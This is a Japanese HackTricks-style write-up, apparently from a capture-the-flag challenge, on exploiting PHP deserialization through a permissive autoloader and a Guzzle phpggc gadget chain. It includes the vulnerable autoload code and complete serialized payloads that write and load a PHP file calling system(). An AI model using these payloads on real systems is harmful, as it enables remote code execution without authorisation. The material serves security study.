PHP - Deserialization + Autoload Classes

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

最初に、オートローディングクラス を確認する必要があります。

PHPデシリアライゼーション + spl_autoload_register + LFI/Gadget

phpggc 内にガジェットがないライブラリを持つ webアプリPHPデシリアライゼーション を見つけた状況にいます。ただし、同じコンテナ内には 脆弱なライブラリを持つ別のcomposer webアプリ がありました。したがって、目標は、他のwebアプリのcomposerローダーを読み込んで、デシリアライゼーションに脆弱なwebアプリからの ガジェットを悪用してそのライブラリを攻撃するガジェットを読み込む ことでした。

手順:

  • デシリアライゼーション を見つけ、現在のアプリコードに ガジェットがない

  • 次のような spl_autoload_register 関数を悪用して、.php 拡張子の 任意のローカルファイルを読み込む ことができます

  • そのために、クラス名が $name 内にあるデシリアライゼーションを悪用します。シリアル化されたオブジェクト内のクラス名には "/" や "." を使用できませんが、コードアンダースコア ("_") を スラッシュ ("/") に 置換 しています。したがって、tmp_passwd のようなクラス名は /tmp/passwd.php に変換され、コードがそれを読み込もうとします。 ガジェットの例 は: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

ファイルアップロードがあり、.php拡張子のファイルをアップロードできる場合、この機能を直接悪用してすでにRCEを取得できます。

私の場合、そのようなものはありませんでしたが、同じコンテナ内に、phpggcガジェットに脆弱なライブラリを持つ別のコンポーザーWebページがありました。

  • この他のライブラリを読み込むには、まずその他のWebアプリのコンポーザーローダーを読み込む必要があります(現在のアプリケーションのものは他のアプリケーションのライブラリにアクセスできません)。アプリケーションのパスを知っている場合、次のように非常に簡単にこれを達成できます:O:28:"www_frontend_vendor_autoload":0:{}(私の場合、コンポーザーローダーは/www/frontend/vendor/autoload.phpにありました)

  • これで、他のアプリのコンポーザーローダー読み込むことができるようになりました。次は、使用する**phpggcペイロードを生成する時です。私の場合、Guzzle/FW1**を使用し、ファイルシステム内に任意のファイルを書き込むことができました。

  • 注:生成されたガジェットは機能しませんでした。機能させるためには、そのペイロードの**chain.phpを変更し、クラスのすべての属性をプライベートからパブリックに設定**する必要がありました。そうしないと、文字列を逆シリアル化した後、作成されたオブジェクトの属性に値が含まれていませんでした。

  • これで、他のアプリのコンポーザーローダーを読み込む方法と機能するphpggcペイロードを持っていますが、この作業をガジェットが使用される**ときにローダーが読み込まれるようにするために、同じリクエストでこれを行う必要があります。そのため、次のように両方のオブジェクトを含むシリアル化された配列を送信しました:

  • 最初にローダーが読み込まれ、次にペイロードが表示されます

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • 今、ファイルを作成して書き込むことができますが、ユーザーはWebサーバー内の任意のフォルダに書き込むことができません。したがって、ペイロードで見られるように、PHPは**/tmp/a.phpに作成されたbase64を使用してsystemを呼び出します。その後、他のWebアプリのコンポーザーローダーをロードするために使用した最初のタイプのペイロードを再利用できます。生成された/tmp/a.php**ファイルをロードするために、デシリアライゼーションガジェットに追加するだけです:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

ペイロードの要約

  • 同じコンテナ内の別のWebアプリのcomposer autoloadをロード

  • phpggcガジェットをロードして、他のWebアプリのライブラリを悪用する(逆シリアル化の脆弱性がある初期のWebアプリにはガジェットが含まれていなかった)

  • ガジェットは、悪意のあるコマンドが含まれた/tmp/a.phpにPHPペイロードのファイルを作成する(Webアプリのユーザーは他のWebアプリのどのフォルダにも書き込むことができない)

  • ペイロードの最後の部分では、生成されたphpファイルをロードしてコマンドを実行する

この逆シリアル化を2回呼び出す必要がありました。テストでは、最初の呼び出しでは/tmp/a.phpファイルが作成されましたがロードされず、2回目の呼び出しでは正しくロードされました。

Last updated